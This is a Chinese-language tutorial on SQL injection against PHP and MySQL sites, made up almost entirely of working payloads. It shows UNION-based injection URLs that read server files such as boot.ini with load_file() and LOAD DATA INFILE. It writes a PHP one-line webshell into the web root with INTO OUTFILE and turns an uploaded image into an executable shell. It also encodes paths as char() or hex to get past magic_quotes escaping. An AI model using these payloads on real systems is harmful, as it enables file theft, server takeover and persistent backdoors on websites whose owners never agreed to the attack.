一、Php+Mysql读取制定文件内容,Mysql版本6.0.8
1
、创建临时表
Create table a
(
cmd text
);
2
、读取制定文件,输出文件内容到临时表
load data infile 'c:\\boot.ini' into table a;
3
、读取临时表的内容
Select * from a
;
注入过程中也可以通过联合查询和
load_file
()函数读取文件内容
Sql
语句:
Select username
,
password from admin and 1=2 union select 1, load_file(‘c:\boot.ini’)
注入举例:
http://192.168.0.106/test.php?id=2%20and%201=2%20union%20select%201,load_file('c:\\boot.ini')
二、导出一句话木马
假设表
a
的存放了
php
一句话木马
<?php system($cmd);?>
Sql
语句
select cmd from a into outfile ‘C:\cmd.php’
可以使用联合查询导出制定表里的内容
Sql
语句:
Select username
,
password from admin and 1=2 union select 1
,
cmd from a into outfile ‘C:\CMD.PHP’
注入举例:
http://192.168.0.106/test.php?id=2%20and%201=2%20union%20select%201,%20cmd%20from%20a%20into%20outfile%20'e:\\www\\cmd.php'
三、更改图片类型的木马为
php
类型的木马
假设我们可以上传图片,或者
txt
,
zip
,等其它东西,我们把我们的木马改成
jpg
缀的,上传后路径为
/upload/2004091201.jpg
,
2004091201.jpg
中的内容为
<?php system($cmd) ?>
Sql
语句:
Select username
,
password from admin and 1=2 union select 1
,
load_file(‘e:\www\cmd.jpg’) from a into outfile ‘e:\www\cmd.php’
注入举例:
http://192.168.0.106/test.php?id=2%20and%201=2%20union%20select%201,load_file('e:\\www\\cmd.jpg')%20from%20a%20into%20outfile%20'e:\\www\\cmd.php'
四、注入注意事项
在
magic_quotes_gpc
=
On
的情况下功能强大的
load_file()
还能不能用呢?
这正是我们下面要将的问题了,
load_file()
的使用格式是
load_file(‘
文件路径
’)
,我们发现只要把
‘
文件路径
’
转化成
char()
就可以了,
load_file(‘c:/boot.ini’)
转化成
,
load_file(char(99,58,47,98,111,111,116,46,105,110,105))
,或者使用两个
\\
,过滤掉一个还剩一个,也可以将
load_file
函数的内容转换成
16
进制,例如
C:/apache/htdocs/site/lib/sql.inc.php'
转化为
16
进制为:
0x433A2F6170616368652F6874646F63732F736974652F6C69622F73716C2E696E
还有显示文件内容的字段不能是数字型的,一定要文本类型的。